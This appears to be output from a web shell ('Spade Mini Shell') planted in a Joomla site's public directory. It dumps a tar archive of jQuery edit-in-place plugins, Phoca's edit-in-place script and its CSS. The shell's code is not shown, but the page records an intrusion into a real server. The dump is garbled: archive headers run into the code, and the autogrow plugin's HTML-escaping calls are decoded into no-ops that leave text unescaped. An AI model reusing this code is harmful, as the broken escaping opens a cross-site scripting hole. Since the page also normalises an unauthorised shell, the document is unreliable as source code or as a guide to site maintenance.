Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
index.html000064400000000054151156170520006543 0ustar00<html><body
bgcolor="#FFFFFF"></body></html>jquery.autogrowtextarea.js000064400000005706151156170520012040
0ustar00/*!
*
----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* <jevin9@gmail.com> wrote this file. As long as you retain this
notice you
* can do whatever you want with this stuff. If we meet some day, and you
think
* this stuff is worth it, you can buy me a beer in return. Jevin O.
Sewaruth
*
----------------------------------------------------------------------------
*
* Autogrow Textarea Plugin Version v3.0
* http://www.technoreply.com/autogrow-textarea-plugin-3-0
*
* THIS PLUGIN IS DELIVERD ON A PAY WHAT YOU WHANT BASIS. IF THE PLUGIN WAS
USEFUL TO YOU, PLEASE CONSIDER BUYING THE PLUGIN HERE :
* https://sites.fastspring.com/technoreply/instant/autogrowtextareaplugin
*
* Date: October 15, 2012
*/
jQuery.fn.autoGrow = function(options) {
return this.each(function() {
var settings = jQuery.extend({
extraLine: true,
}, options);
var mirror;
var createMirror = function(textarea) {
jQuery(textarea).after('<div
class="autogrow-textarea-mirror"></div>');
return jQuery(textarea).next('.autogrow-textarea-mirror')[0];
};
var sendContentToMirror = function (textarea) {
mirror.innerHTML = String(textarea.value)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\n/g, '<br />') +
(settings.extraLine? '.<br/>.' : '')
;
if (jQuery(textarea).height() !== jQuery(mirror).height())
jQuery(textarea).height(jQuery(mirror).height());
};
var growTextarea = function() {
sendContentToMirror(this);
};
// Create a mirror
mirror = createMirror(this);
// Style the mirror
mirror.style.display = 'none';
mirror.style.wordWrap = 'break-word';
mirror.style.whiteSpace = 'pre-wrap';
mirror.style.padding = jQuery(this).css('paddingTop') + '
' +
jQuery(this).css('paddingRight') + ' ' +
jQuery(this).css('paddingBottom') + ' ' +
jQuery(this).css('paddingLeft');
mirror.style.borderStyle = jQuery(this).css('borderTopStyle') +
' ' +
jQuery(this).css('borderRightStyle') + ' ' +
jQuery(this).css('borderBottomStyle') + ' ' +
jQuery(this).css('borderLeftStyle');
mirror.style.borderWidth = jQuery(this).css('borderTopWidth') +
' ' +
jQuery(this).css('borderRightWidth') + ' ' +
jQuery(this).css('borderBottomWidth') + ' ' +
jQuery(this).css('borderLeftWidth');
mirror.style.width = jQuery(this).css('width');
mirror.style.fontFamily = jQuery(this).css('font-family');
mirror.style.fontSize = jQuery(this).css('font-size');
mirror.style.lineHeight = jQuery(this).css('line-height');
mirror.style.letterSpacing =
jQuery(this).css('letter-spacing');
// Style the textarea
this.style.overflow = 'hidden';
this.style.minHeight = this.rows+'em';
// Bind the textarea's event
this.onkeyup = growTextarea;
this.onfocus = growTextarea;
// Fire the event for text already present
sendContentToMirror(this);
});
};
jquery.jeditable.autogrow.min.js000064400000000755151156170520013005
0ustar00/*! jquery-jeditable
https://github.com/NicolasCARPi/jquery_jeditable#readme */
"use
strict";!function($){$.editable.addInputType("autogrow",{element:function(settings,original){var
textarea=$("<textarea />");return
settings.rows?textarea.attr("rows",settings.rows):textarea.height(settings.height),settings.cols?textarea.attr("cols",settings.cols):textarea.width(settings.width),$(this).append(textarea),textarea},plugin:function(settings,original){$("textarea",this).autoGrow()}})}(jQuery);jquery.jeditable.masked.min.js000064400000001236151156170520012375
0ustar00/*! jquery-jeditable
https://github.com/NicolasCARPi/jquery_jeditable#readme */
"use
strict";!function($){$.editable.addInputType("masked",{element:function(settings,original){var
input=$("<input
/>").attr({autocomplete:"off",list:settings.list,maxlength:settings.maxlength,pattern:settings.pattern,placeholder:settings.placeholder,tooltip:settings.tooltip,type:"text"}).mask(settings.mask);return"none"!==settings.width&&input.css("width",settings.width),"none"!==settings.height&&input.css("height",settings.height),settings.size&&input.attr("size",settings.size),settings.maxlength&&input.attr("maxlength",settings.maxlength),$(this).append(input),input}})}(jQuery);jquery.jeditable.min.js000064400000027037151156170520011141
0ustar00/*! jquery-jeditable
https://github.com/NicolasCARPi/jquery_jeditable#readme */
!function($){"use strict";$.fn.editableAriaShim=function(){return
this.attr({role:"button",tabindex:0}),this},$.fn.editable=function(target,options){if("disable"!==target)if("enable"!==target){if("destroy"!==target){var
settings=$.extend({},$.fn.editable.defaults,{target:target},options),plugin=$.editable.types[settings.type].plugin||function(){},submit=$.editable.types[settings.type].submit||function(){},buttons=$.editable.types[settings.type].buttons||$.editable.types.defaults.buttons,content=$.editable.types[settings.type].content||$.editable.types.defaults.content,element=$.editable.types[settings.type].element||$.editable.types.defaults.element,reset=$.editable.types[settings.type].reset||$.editable.types.defaults.reset,destroy=$.editable.types[settings.type].destroy||$.editable.types.defaults.destroy,callback=settings.callback||function(){},intercept=settings.intercept||function(s){return
s},onedit=settings.onedit||function(){},onsubmit=settings.onsubmit||function(){},onreset=settings.onreset||function(){},onerror=settings.onerror||reset;settings.before;return
settings.tooltip&&$(this).attr("title",settings.tooltip),this.each(function(){var
self=this;$(this).data("event.editable",settings.event),$.trim($(this).html())||$(this).html(settings.placeholder),"destroy"!==target?($(this).on(settings.event,function(e){if(!0!==$(this).data("disabled.editable")&&9!==e.which&&!self.editing&&!1!==onedit.apply(this,[settings,self,e])){if(settings.before&&jQuery.isFunction(settings.before))settings.before(e);else
if(settings.before&&!jQuery.isFunction(settings.before))throw"The
'before' option needs to be provided as a
function!";e.preventDefault(),e.stopPropagation(),settings.tooltip&&$(self).removeAttr("title"),$(this).html().toLowerCase().replace(/(;|"|\/)/g,"")===settings.placeholder.toLowerCase().replace(/(;|"|\/)/g,"")&&$(this).html(""),self.editing=!0,self.revert=$(self).text(),$(self).html("");var
form=$("<form
/>");settings.cssclass&&("inherit"===settings.cssclass?form.attr("class",$(self).attr("class")):form.attr("class",settings.cssclass)),settings.style&&("inherit"===settings.style?(form.attr("style",$(self).attr("style")),form.css("display",$(self).css("display"))):form.attr("style",settings.style)),settings.label&&form.append("<label>"+settings.label+"</label>"),settings.formid&&form.attr("id",settings.formid);var
input_content,t,input=element.apply(form,[settings,self]);settings.inputcssclass&&("inherit"===settings.inputcssclass?input.attr("class",$(self).attr("class")):input.attr("class",settings.inputcssclass));var
isSubmitting=!1;if(settings.loadurl){t=self.setTimeout(function(){input.disabled=!0},100),$(self).html(settings.loadtext);var
loaddata={};loaddata[settings.id]=self.id,$.isFunction(settings.loaddata)?$.extend(loaddata,settings.loaddata.apply(self,[self.revert,settings])):$.extend(loaddata,settings.loaddata),$.ajax({type:settings.loadtype,url:settings.loadurl,data:loaddata,async:!1,cache:!1,success:function(result){self.clearTimeout(t),input_content=result,input.disabled=!1}})}else
settings.data?(input_content=settings.data,$.isFunction(settings.data)&&(input_content=settings.data.apply(self,[self.revert,settings]))):input_content=self.revert;if(content.apply(form,[input_content,settings,self]),input.attr("name",settings.name),"none"!==settings.width){var
adj_width=settings.width-(input.outerWidth(!0)-settings.width);input.width(adj_width)}buttons.apply(form,[settings,self]),settings.showfn&&$.isFunction(settings.showfn)&&form.hide(),$(self).html(""),$(self).append(form),settings.showfn&&$.isFunction(settings.showfn)&&settings.showfn(form),plugin.apply(form,[settings,self]),form.find(":input:visible:enabled:first").trigger("focus"),settings.select&&input.select(),$(this).on("keydown",function(e){27===e.which?(e.preventDefault(),reset.apply(form,[settings,self])):13==e.which&&e.shiftKey&&(e.preventDefault(),form.trigger("submit"))}),"cancel"===settings.onblur?input.on("blur",function(e){t=self.setTimeout(function(){reset.apply(form,[settings,self])},500)}):"submit"===settings.onblur?input.on("blur",function(e){t=self.setTimeout(function(){form.trigger("submit")},200)}):$.isFunction(settings.onblur)&&input.on("blur",function(e){!1===settings.onblur.apply(self,[input.val(),settings,form])&&reset.apply(form,[settings,self])}),form.on("submit",function(e){if(e.preventDefault(),e.stopPropagation(),isSubmitting)return!1;if(isSubmitting=!0,t&&self.clearTimeout(t),(isSubmitting=!1!==onsubmit.apply(form,[settings,self]))&&(isSubmitting=!1!==submit.apply(form,[settings,self])))if($.isFunction(settings.target)){var
responseHandler=function(value,complete){isSubmitting=!1,!1!==complete&&($(self).html(value),self.editing=!1,callback.apply(self,[self.innerText,settings]),$.trim($(self).html())||$(self).html(settings.placeholder))},userTarget=settings.target.apply(self,[input.val(),settings,responseHandler]);!1!==userTarget&&void
0!==userTarget&&responseHandler(userTarget,userTarget)}else{var
submitdata={};submitdata[settings.name]=input.val(),submitdata[settings.id]=self.id,$.isFunction(settings.submitdata)?$.extend(submitdata,settings.submitdata.apply(self,[self.revert,settings,submitdata])):$.extend(submitdata,settings.submitdata),"PUT"===settings.method&&(submitdata._method="put"),$(self).html(settings.indicator);var
ajaxoptions={type:"POST",complete:function(xhr,status){isSubmitting=!1},data:submitdata,dataType:"html",url:settings.target,success:function(result,status){result=intercept.apply(self,[result,status]),"html"===ajaxoptions.dataType&&$(self).html(result),self.editing=!1,callback.apply(self,[result,settings,submitdata]),$.trim($(self).html())||$(self).html(settings.placeholder)},error:function(xhr,status,error){onerror.apply(form,[settings,self,xhr])}};$.extend(ajaxoptions,settings.ajaxoptions),$.ajax(ajaxoptions)}return
$(self).attr("title",settings.tooltip),!1})}}),self.reset=function(form){self.editing&&!1!==onreset.apply(form,[settings,self])&&($(self).text(self.revert),self.editing=!1,$.trim($(self).html())||$(self).html(settings.placeholder),settings.tooltip&&$(self).attr("title",settings.tooltip))},self.destroy=function(form){$(self).off($(self).data("event.editable")).removeData("disabled.editable").removeData("event.editable"),self.clearTimeouts(),self.editing&&reset.apply(form,[settings,self])},self.clearTimeout=function(t){var
timeouts=$(self).data("timeouts");if(clearTimeout(t),timeouts){var
i=timeouts.indexOf(t);i>-1?(timeouts.splice(i,1),timeouts.length<=0&&$(self).removeData("timeouts")):console.warn("jeditable
clearTimeout could not find timeout
"+t)}},self.clearTimeouts=function(){var
timeouts=$(self).data("timeouts");if(timeouts){for(var
i=0,n=timeouts.length;i<n;++i)clearTimeout(timeouts[i]);timeouts.length=0,$(self).removeData("timeouts")}},self.setTimeout=function(callback,time){var
timeouts=$(self).data("timeouts"),t=setTimeout(function(){callback(),self.clearTimeout(t)},time);return
timeouts||(timeouts=[],$(self).data("timeouts",timeouts)),timeouts.push(t),t}):destroy.apply($(this).find("form"),[settings,self])})}$(this).off($(this).data("event.editable")).removeData("disabled.editable").removeData("event.editable")}else
$(this).data("disabled.editable",!1);else
$(this).data("disabled.editable",!0)};var
_supportInType=function(type){var
i=document.createElement("input");return
i.setAttribute("type",type),"text"!==i.type?type:"text"};$.editable={types:{defaults:{element:function(settings,original){var
input=$('<input
type="hidden"></input>');return
$(this).append(input),input},content:function(string,settings,original){$(this).find(":input:first").val(string)},reset:function(settings,original){original.reset(this)},destroy:function(settings,original){original.destroy(this)},buttons:function(settings,original){var
submit,cancel,form=this;(settings.submit&&(settings.submit.match(/>$/)?submit=$(settings.submit).on("click",function(){"submit"!==submit.attr("type")&&form.trigger("submit")}):((submit=$('<button
type="submit"
/>')).html(settings.submit),settings.submitcssclass&&submit.addClass(settings.submitcssclass)),$(this).append(submit)),settings.cancel)&&(settings.cancel.match(/>$/)?cancel=$(settings.cancel):((cancel=$('<button
type="cancel"
/>')).html(settings.cancel),settings.cancelcssclass&&cancel.addClass(settings.cancelcssclass)),$(this).append(cancel),$(cancel).on("click",function(event){return($.isFunction($.editable.types[settings.type].reset)?$.editable.types[settings.type].reset:$.editable.types.defaults.reset).apply(form,[settings,original]),!1}))}},text:{element:function(settings,original){var
input=$("<input
/>").attr({autocomplete:"off",list:settings.list,maxlength:settings.maxlength,pattern:settings.pattern,placeholder:settings.placeholder,tooltip:settings.tooltip,type:"text"});return"none"!==settings.width&&input.css("width",settings.width),"none"!==settings.height&&input.css("height",settings.height),settings.size&&input.attr("size",settings.size),settings.maxlength&&input.attr("maxlength",settings.maxlength),$(this).append(input),input}},textarea:{element:function(settings,original){var
textarea=$("<textarea></textarea>");return
settings.rows?textarea.attr("rows",settings.rows):"none"!==settings.height&&textarea.height(settings.height),settings.cols?textarea.attr("cols",settings.cols):"none"!==settings.width&&textarea.width(settings.width),settings.maxlength&&textarea.attr("maxlength",settings.maxlength),$(this).append(textarea),textarea}},select:{element:function(settings,original){var
select=$("<select />");return
settings.multiple&&select.attr("multiple","multiple"),$(this).append(select),select},content:function(data,settings,original){var
json;json=String===data.constructor?JSON.parse(data):data;var
key,option,tuples=[];if(Array.isArray(json)&&json.every(Array.isArray))tuples=json,json={},tuples.forEach(function(e){json[e[0]]=e[1]});else
for(key in
json)tuples.push([key,json[key]]);settings.sortselectoptions&&tuples.sort(function(a,b){return(a=a[1])<(b=b[1])?-1:a>b?1:0});for(var
i=0;i<tuples.length;i++){key=tuples[i][0];var
value=tuples[i][1];json.hasOwnProperty(key)&&("selected"!==key&&(option=$("<option
/>").val(key).append(value),json.selected!==key&&key!==$.trim(original.revert)||$(option).prop("selected","selected"),$(this).find("select").append(option)))}if(!settings.submit){var
form=this;$(this).find("select").change(function(){form.trigger("submit")})}}},number:{element:function(settings,original){var
input=$("<input
/>").attr({maxlength:settings.maxlength,placeholder:settings.placeholder,min:settings.min,max:settings.max,step:settings.step,tooltip:settings.tooltip,type:_supportInType("number")});return"none"!==settings.width&&input.css("width",settings.width),$(this).append(input),input}},email:{element:function(settings,original){var
input=$("<input
/>").attr({maxlength:settings.maxlength,placeholder:settings.placeholder,tooltip:settings.tooltip,type:_supportInType("email")});return"none"!==settings.width&&input.css("width",settings.width),$(this).append(input),input}},url:{element:function(settings,original){var
input=$("<input
/>").attr({maxlength:settings.maxlength,pattern:settings.pattern,placeholder:settings.placeholder,tooltip:settings.tooltip,type:_supportInType("url")});return"none"!==settings.width&&input.css("width",settings.width),$(this).append(input),input}}},addInputType:function(name,input){$.editable.types[name]=input}},$.fn.editable.defaults={name:"value",id:"id",type:"text",width:"auto",height:"auto",event:"click.editable
keydown.editable",onblur:"cancel",tooltip:"Click to
edit",loadtype:"GET",loadtext:"Loading...",placeholder:"Click
to
edit",sortselectoptions:!1,loaddata:{},submitdata:{},ajaxoptions:{}}}(jQuery);jquery.maskedinput.min.js000064400000010344151156170520011533
0ustar00/*
jQuery Masked Input Plugin
Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com)
Licensed under the MIT license
(http://digitalbush.com/projects/masked-input-plugin/#license)
Version: 1.4.1
*/
!function(a){"function"==typeof
define&&define.amd?define(["jquery"],a):a("object"==typeof
exports?require("jquery"):jQuery)}(function(a){var
b,c=navigator.userAgent,d=/iphone/i.test(c),e=/chrome/i.test(c),f=/android/i.test(c);a.mask={definitions:{9:"[0-9]",a:"[A-Za-z]","*":"[A-Za-z0-9]"},autoclear:!0,dataName:"rawMaskFn",placeholder:"_"},a.fn.extend({caret:function(a,b){var
c;if(0!==this.length&&!this.is(":hidden"))return"number"==typeof
a?(b="number"==typeof
b?b:a,this.each(function(){this.setSelectionRange?this.setSelectionRange(a,b):this.createTextRange&&(c=this.createTextRange(),c.collapse(!0),c.moveEnd("character",b),c.moveStart("character",a),c.select())})):(this[0].setSelectionRange?(a=this[0].selectionStart,b=this[0].selectionEnd):document.selection&&document.selection.createRange&&(c=document.selection.createRange(),a=0-c.duplicate().moveStart("character",-1e5),b=a+c.text.length),{begin:a,end:b})},unmask:function(){return
this.trigger("unmask")},mask:function(c,g){var
h,i,j,k,l,m,n,o;if(!c&&this.length>0){h=a(this[0]);var
p=h.data(a.mask.dataName);return p?p():void 0}return
g=a.extend({autoclear:a.mask.autoclear,placeholder:a.mask.placeholder,completed:null},g),i=a.mask.definitions,j=[],k=n=c.length,l=null,a.each(c.split(""),function(a,b){"?"==b?(n--,k=a):i[b]?(j.push(new
RegExp(i[b])),null===l&&(l=j.length-1),k>a&&(m=j.length-1)):j.push(null)}),this.trigger("unmask").each(function(){function
h(){if(g.completed){for(var
a=l;m>=a;a++)if(j[a]&&C[a]===p(a))return;g.completed.call(B)}}function
p(a){return g.placeholder.charAt(a<g.placeholder.length?a:0)}function
q(a){for(;++a<n&&!j[a];);return a}function
r(a){for(;--a>=0&&!j[a];);return a}function s(a,b){var
c,d;if(!(0>a)){for(c=a,d=q(b);n>c;c++)if(j[c]){if(!(n>d&&j[c].test(C[d])))break;C[c]=C[d],C[d]=p(d),d=q(d)}z(),B.caret(Math.max(l,a))}}function
t(a){var
b,c,d,e;for(b=a,c=p(a);n>b;b++)if(j[b]){if(d=q(b),e=C[b],C[b]=c,!(n>d&&j[d].test(e)))break;c=e}}function
u(){var
a=B.val(),b=B.caret();if(o&&o.length&&o.length>a.length){for(A(!0);b.begin>0&&!j[b.begin-1];)b.begin--;if(0===b.begin)for(;b.begin<l&&!j[b.begin];)b.begin++;B.caret(b.begin,b.begin)}else{for(A(!0);b.begin<n&&!j[b.begin];)b.begin++;B.caret(b.begin,b.begin)}h()}function
v(){A(),B.val()!=E&&B.change()}function
w(a){if(!B.prop("readonly")){var
b,c,e,f=a.which||a.keyCode;o=B.val(),8===f||46===f||d&&127===f?(b=B.caret(),c=b.begin,e=b.end,e-c===0&&(c=46!==f?r(c):e=q(c-1),e=46===f?q(e):e),y(c,e),s(c,e-1),a.preventDefault()):13===f?v.call(this,a):27===f&&(B.val(E),B.caret(0,A()),a.preventDefault())}}function
x(b){if(!B.prop("readonly")){var
c,d,e,g=b.which||b.keyCode,i=B.caret();if(!(b.ctrlKey||b.altKey||b.metaKey||32>g)&&g&&13!==g){if(i.end-i.begin!==0&&(y(i.begin,i.end),s(i.begin,i.end-1)),c=q(i.begin-1),n>c&&(d=String.fromCharCode(g),j[c].test(d))){if(t(c),C[c]=d,z(),e=q(c),f){var
k=function(){a.proxy(a.fn.caret,B,e)()};setTimeout(k,0)}else
B.caret(e);i.begin<=m&&h()}b.preventDefault()}}}function
y(a,b){var
c;for(c=a;b>c&&n>c;c++)j[c]&&(C[c]=p(c))}function
z(){B.val(C.join(""))}function A(a){var
b,c,d,e=B.val(),f=-1;for(b=0,d=0;n>b;b++)if(j[b]){for(C[b]=p(b);d++<e.length;)if(c=e.charAt(d-1),j[b].test(c)){C[b]=c,f=b;break}if(d>e.length){y(b+1,n);break}}else
C[b]===e.charAt(d)&&d++,k>b&&(f=b);return
a?z():k>f+1?g.autoclear||C.join("")===D?(B.val()&&B.val(""),y(0,n)):z():(z(),B.val(B.val().substring(0,f+1))),k?b:l}var
B=a(this),C=a.map(c.split(""),function(a,b){return"?"!=a?i[a]?p(b):a:void
0}),D=C.join(""),E=B.val();B.data(a.mask.dataName,function(){return
a.map(C,function(a,b){return
j[b]&&a!=p(b)?a:null}).join("")}),B.one("unmask",function(){B.off(".mask").removeData(a.mask.dataName)}).on("focus.mask",function(){if(!B.prop("readonly")){clearTimeout(b);var
a;E=B.val(),a=A(),b=setTimeout(function(){B.get(0)===document.activeElement&&(z(),a==c.replace("?","").length?B.caret(0,a):B.caret(a))},10)}}).on("blur.mask",v).on("keydown.mask",w).on("keypress.mask",x).on("input.mask
paste.mask",function(){B.prop("readonly")||setTimeout(function(){var
a=A(!0);B.caret(a),h()},0)}),e&&f&&B.off("input.mask").on("input.mask",u),A()})}})});jquery.phocajeditable.js000064400000016667151156170520011401
0ustar00/*
* @package Phoca Component
* @author Jan Pavelka - https://www.phoca.cz
* @copyright Copyright (C) Jan Pavelka https://www.phoca.cz
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 and later
* @cms Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
*/
/*
function phGetMsg(msg, defaultMsg) {
if (defaultMsg == 1) {
return '<div id="ph-ajaxtop-message">'
+ '<div id="ph-ajaxtop-close">x</div>'
+ '<div class="ph-result-txt ph-info-txt">' +
msg + '</div>'
+ '<div
class="ph-progressbar-bottom"></div>'
+ '</div>';
} else {
return '<div
id="ph-ajaxtop-close">x</div>' + msg +
'<div
class="ph-progressbar-bottom"></div>';
}
}
function phCloseMsgBoxSuccess() {
setTimeout(function(){
jQuery("#ph-ajaxtop").hide();
jQuery(".ph-result-txt").remove();
}, 2500);
jQuery(".ph-progressbar-bottom").animate({
width: "0%"
}, 2500 );
}
function phCloseMsgBoxError() {
setTimeout(function(){
jQuery("#ph-ajaxtop").hide();
jQuery(".ph-result-txt").remove();
}, 3500);
jQuery(".ph-progressbar-bottom").animate({
width: "0%"
}, 3500 );
}
*/
/* -------------------- */
function phChangeBackground(element, seconds, color) {
var originalColor = jQuery(element).css("background");
jQuery(element).css("background", color);
setTimeout(function(){
jQuery(element).css("background", originalColor);
}, seconds);
}
function phEscapeColon(element) {
return element.replace(/:/g, '\\:');
}
function phEditInPlaceMsg(msg, type) {
jQuery("#ph-ajaxtop").html(phGetMsg( ' ',
1));
jQuery("#ph-ajaxtop").show();
jQuery("#ph-ajaxtop-message").html(phGetMsg(msg, 0));
if (type == 0) {
phCloseMsgBoxError();
} else {
phCloseMsgBoxSuccess();
}
}
function phEditInPlacePasteAndMark(element, json) {
/* combined input means title and alias (both editable) or date and
dateformat (only date editable) */
if (json.idcombined && json.resultcombined) {
var combinedElement = "#" +
phEscapeColon(json.idcombined);
jQuery(combinedElement).html(json.resultcombined);
phChangeBackground(combinedElement, 700, "#D4E9E6");
}
var currentElement = "#" + phEscapeColon(element);
phChangeBackground(currentElement, 700, "#D4E9E6" );
}
jQuery(document).ready(function() {
var phVars = Joomla.getOptions('phVars');
var phLang = Joomla.getOptions('phLang');
jQuery(".ph-editinplace-text.ph-eip-text").editable(phVars['urleditinplace'],
{
tooltip : phLang['PHOCA_CLICK_TO_EDIT'],
select : true,
type : "text",
cancel : phLang['PHOCA_CANCEL'],
submit : phLang['PHOCA_SUBMIT'],
cssclass : 'ph-edit-in-place-class',
cancelcssclass : 'btn btn-danger',
submitcssclass : 'btn btn-success',
submitdata : {type: "text"},
before : function(e) {
/* set height to not jump - e.g. description, if 5 row
description changes in popup form to 3 row */
var height = jQuery(e.currentTarget).height();// e.target //
outerHeight()
jQuery(e.currentTarget).height(height);
//var height = e.currentTarget.offsetHeight;
//e.currentTarget.setAttribute("style","height:" +
height + "px");
},
//DEBUG
//onblur : function() { ... },
intercept : function(jsondata) {
json = JSON.parse(jsondata);
/* return back from fixed height */
jQuery(this).css("height", "");
if (json.status == 0){
phEditInPlaceMsg(json.error, 0)
this.reset();
} else {
var id = jQuery(this).attr("id");
phEditInPlacePasteAndMark(id, json);
return json.result;
}
},
placeholder: "",
// Possible information for parts on the site which will be not
changed by chaning the value (for example currency view - currency rate)
callback: function() {
var chEIP = ".phChangeEditInPlace" +
jQuery(this).attr("data-id");
jQuery(chEIP).html(phLang['PHOCA_PLEASE_RELOAD_PAGE_TO_SEE_UPDATED_INFORMATION'])
},
})
jQuery(".ph-editinplace-text.ph-eip-autogrow").editable(phVars['urleditinplace'],
{
tooltip : phLang['PHOCA_CLICK_TO_EDIT'],
//select : true,
type : "autogrow",
cancel : phLang['PHOCA_CANCEL'],
submit : phLang['PHOCA_SUBMIT'],
cssclass : 'ph-edit-in-place-class',
cancelcssclass : 'btn btn-danger',
submitcssclass : 'btn btn-success',
submitdata : {type: "autogrow"},
before : function(e) {
/* set height to not jump */
var height = jQuery(e.target).height();//outerHeight()
jQuery(e.target).height(height);
},
// DEBUG
//onblur : function() { ... },
intercept : function(jsondata) {
json = JSON.parse(jsondata);
/* return back from fixed height */
jQuery(this).css("height", "");
if (json.status == 0){
phEditInPlaceMsg(json.error, 0)
this.reset();
} else {
var id = jQuery(this).attr("id");
phEditInPlacePasteAndMark(id, json);
return json.result;
}
},
placeholder: "",
// Possible information for parts on the site which will be not
changed by chaning the value (for example currency view - currency rate)
callback: function() {
var chEIP = ".phChangeEditInPlace" +
jQuery(this).attr("data-id");
jQuery(chEIP).html(phLang['PHOCA_PLEASE_RELOAD_PAGE_TO_SEE_UPDATED_INFORMATION'])
},
})
jQuery(".ph-editinplace-text.ph-eip-date").editable(phVars['urleditinplace'],
{
tooltip : phLang['PHOCA_CLICK_TO_EDIT'],
select : true,
type : "masked",
mask : "9999-99-99",
cancel : phLang['PHOCA_CANCEL'],
submit : phLang['PHOCA_SUBMIT'],
cssclass : 'ph-edit-in-place-class',
cancelcssclass : 'btn btn-danger',
submitcssclass : 'btn btn-success',
submitdata : {type: "date", dateformat :
phVars['dateformat']},
before : function(e) {
/* set height to not jump */
var height = jQuery(e.currentTarget).height();// e.target //
outerHeight()
jQuery(e.currentTarget).height(height);
},
//DEBUG
//onblur : function() { ... },
intercept : function(jsondata) {
json = JSON.parse(jsondata);
/* return back from fixed height */
jQuery(this).css("height", "");
if (json.status == 0){
phEditInPlaceMsg(json.error, 0)
this.reset();
} else {
var id = jQuery(this).attr("id");
phEditInPlacePasteAndMark(id, json);
return json.result;
}
},
placeholder: "",
// Possible information for parts on the site which will be not
changed by chaning the value (for example currency view - currency rate)
callback: function() {
var chEIP = ".phChangeEditInPlace" +
jQuery(this).attr("data-id");
jQuery(chEIP).html(phLang['PHOCA_PLEASE_RELOAD_PAGE_TO_SEE_UPDATED_INFORMATION'])
},
})
})
phocajeditable.css000064400000006243151156170520010224 0ustar00/* Edit
in place */
.ph-editinplace-text {
display: block;
min-height: 36px; /* em will jump because of different converting to px */
/*font-size: 96% !important;*/
}
.ph-editinplace-text.ph-eip-alias {
margin-top: 2px;
}
.ph-editinplace-text {
min-width: 3em;
}
.ph-editinplace-text.ph-eip-title,
.ph-editinplace-text.ph-eip-alias {
min-width: 6em;
margin-top: 2px;
}
.ph-editinplace-text.ph-eip-description {
min-width: 7em;
}
.ph-editinplace-text {
background: #f5f5f5;
position: relative;
padding: 0.5em;
}
.ph-editinplace-text form {
background-color: #fff;
border: 1px solid #f0f0f0;
box-shadow: 2px 2px 0px 0px #d0d0d0;
width: max-content;
height: auto;
padding: 0.7em;
z-index: 1000;
position: absolute;
left: -5em;
right: 0;
margin:0;
}
.ph-editinplace-text form button {
margin: 0 0 0 0.5em;
}
.ph-editinplace-text form input {
width: 8em !important;
margin: -1px 0 0 0.5em !important;
}
.ph-editinplace-text.ph-eip-title form input {
width: 25em !important;
}
.ph-editinplace-text.ph-eip-price_original form input
.ph-editinplace-text.ph-eip-price form input {}
.ph-editinplace-text.ph-eip-sku form input {}
/* Ajax Top Message */
@-webkit-keyframes load8 {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes load8 {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
#ph-ajaxtop-message {
position: fixed;
top: 0.3em;
left: 0;
right: 0;
width: 50%;
background: #fdd043;
background-image: linear-gradient(to right, #fdd043 0%, #fcc311 100%);
border-radius: 2px;
padding: 0;
margin: 0 auto;
text-align: center;
z-index: 9999;
color: #fff;
font-weight: bold;
}
#ph-ajaxtop-close {
float: right;
font-weight: bold;
color: #fff;
padding: 0.2em 0.5em;
cursor: pointer;
border-radius: 2px;
background: rgba(255, 255, 255, 0.5);
}
.ph-progressbar-bottom {
background: #fff;
background: linear-gradient(to right, rgb(255, 255, 255, 0.3), rgb(255,
255, 255, 0.5));
height: 5px;
width: 100%;
padding: 0;
border-radius: 0 0 2px 2px;
margin: 0.7em 0 0 0;
}
#ph-ajaxtop {
display: none;
}
#ph-ajaxtop-message .ph-result-txt {
margin-top: 1em;
color: #fff;
font-weight: bold;
font-size: 1.2em;
display: block;
}
#ph-ajaxtop-message .ph-info-txt {}
#ph-ajaxtop-message .ph-info-txt:before {
font-family: "Glyphicons Halflings";
content: "\e086";
color: #3bafda;
margin-right: 0.5em;
font-weight: bold;
position: absolute;
font-size: 2em;
left: 0.4em;
/*margin-top: -0.3em;*/
}
#ph-ajaxtop-message .ph-success-txt {}
#ph-ajaxtop-message .ph-success-txt:before {
font-family: "Glyphicons Halflings";
content: "\e086";
color: #00b19d;
margin-right: 0.5em;
font-weight: bold;
position: absolute;
font-size: 2em;
left: 0.4em;
/*margin-top: -0.3em;*/
}
#ph-ajaxtop-message .ph-error-txt {}
#ph-ajaxtop-message .ph-error-txt:before {
font-family: "Glyphicons Halflings";
content: "\e086";
color: #f76397;
margin-right: 0.5em;
font-weight: bold;
position: absolute;
font-size: 2em;
left: 0.4em;
/*margin-top: -0.3em;*/
}